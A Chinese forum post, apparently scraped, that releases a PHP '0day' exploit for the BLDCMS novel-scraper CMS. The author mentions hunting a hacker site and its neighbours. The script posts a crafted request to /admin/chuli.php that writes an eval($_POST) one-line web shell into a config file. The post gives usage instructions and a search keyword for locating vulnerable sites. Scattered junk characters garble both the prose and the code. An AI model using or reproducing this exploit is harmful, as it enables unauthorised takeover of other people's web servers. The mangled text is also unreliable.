之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞( g; V2 R4 T& v" d# P
1 T% r3 z M; N/ H4 z# } ! w; L6 _$ K+ h* ~
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了 ( N' M9 l' r. O: M- L
, Q2 ]( C/ S* g9 E1 Q S" v
既然都有人发了 我就把我之前写好的EXP放出来吧6 O* b9 u; x; X7 W6 I! y, _& l% Q
8 b' H* _8 v6 J+ W0 H. Y& a
view source print?01.php;">' f) v8 C" w* Y, H+ Z+ q
02.<!--?php
! C' Z y5 [4 ~8 U3 z03.echo "-------------------------------------------------------------------
6 O# G" [ g* D% Z! M04. , z3 M J1 Z8 B' o
05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
4 x4 W- r( {5 l' ?- H, j/ k0 f06.
& t: c/ Y7 W) }" O. A* k07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun
2 x8 E: d9 ` d" H* E08.
' K% k3 D9 i2 `/ y+ ~09.QQ:981009941\r\n 2013.3.21\r\n
& e0 `9 D' U: ?1 q' i; E10.
% U @' z6 L) V$ j0 C11.
+ Y& B+ s" ^ c$ e& [, v5 ?/ Z12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码+ p% V1 Y7 L: b, {% s8 b1 L6 y! h
13.
; W; T! w: j7 B, p0 A9 r( F14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------
5 }9 k) t" W% H3 G0 E& M1 H15. ' Z6 W2 Y, y( l$ e
16.--------------------------------------------------------------------\r\n";, _$ v p* u' W* E4 b- j. q
17.$url=$argv[1];
7 T: e) j+ L( @18.$dir=$argv[2];
7 _+ i( ?8 Q% [- m19.$pass=$argv[3];
2 L/ X. Q9 a D9 l20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';: L9 t8 @# N G6 W
21.if (emptyempty($pass)||emptyempty($url))
! @0 P1 y. x/ W5 h22.{exit("请输入参数");}" B8 P4 B2 M1 m h
23.else
9 i% i( [& e& j3 _% T5 z24.{
2 k' }- m6 y/ G3 Q( t1 `8 z/ H25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
2 ?5 P- r g& n5 d& a9 t26. . M' `) ]: Y4 T% i/ g+ T
27.al;2 F1 V- K W- q1 A- G( Q5 o
28.$length = strlen($fuckdata);1 s' t% i% j# y/ \6 e
29.function getshell($url,$pass)4 N9 S+ [: K$ ~
30.{
2 W4 |, o# P8 \31.global $url,$dir,$pass,$eval,$length,$fuckdata;* W6 C, X9 g% ~" o! D& {) {
32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
; Y- v! [ l2 U33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
. q. r q' t4 T5 j D4 X K' j3 w! h34.$header .= "User-Agent: MSIE\r\n";
6 W( d2 U; U& N; V$ V) Q w* K$ G# C35.$header .= "Host:".$url."\r\n"; q3 `- x, S$ U- |; Y- Q
36.$header .= "Content-Length: ".$length."\r\n";
. n. B8 [% }1 ?8 U! r0 q( x1 r37.$header .= "Connection: Close\r\n";4 c* P, A. Y/ `2 [% g0 _
38.$header .="\r\n";
( |) O% B5 W$ \# z3 \1 |3 |39.$header .= $fuckdata."\r\n\r\n";3 `: Y( @' W# c" a! J3 z
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
# Z4 A/ V0 b" a; i7 u41.if (!$fp)
' h, F# M9 }& l8 V& K$ |42.{ i6 K, U7 w& \$ x4 `
43.exit ("利用失败:请检查指定目标是否能正常打开");9 P; o9 r3 e2 ]5 S
44.}5 j( l5 y/ L1 W! A' x% E
45.else{ if (!fputs($fp,$header)). [: f j- Q2 O& M) v% D3 M
46.{exit ("利用失败");}6 g- q# k5 ? k, _( c
47.else# A7 d, ?3 F2 B
48.{# T5 a8 ?0 @" v ?$ U5 @
49.$receive = '';
$ n ~+ o1 M" p3 _9 l2 d50.while (!feof($fp)) {7 a3 e; x* q8 c9 L4 `2 _6 [- q- y
51.$receive .= @fgets($fp, 1000);
+ Q3 q! E( |1 A0 t4 X% s0 x6 x52.}
1 A% n; h$ I0 z% m53.@fclose($fp);
; Q9 I/ p( a* U! E+ m K$ A54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标" V$ M4 U0 {1 J% m- @- L. e7 t
55. + Y6 p+ Q/ u5 J d8 q
56.GPC是否=off)";
4 i+ f4 {; Y% M( |* i: ^& d57.}}
( Q4 ~' h$ `5 c6 l58.}
# c) m$ l W/ P" Y- K# c) |59.}' I: Q9 T" N5 E( {4 a9 C" z& f; ?
60.getshell($url,$pass);
/ ]8 U1 {3 I! d1 u61.?-->/ b: V( o" ] @2 J: a0 `0 ^7 \
4 B& t7 ^5 b2 o+ ]. G. b% @" p) Y
3 l- \+ p9 ?: D5 D
' Y- y. n g; |
by 数据流
$ M0 S! v# {4 M |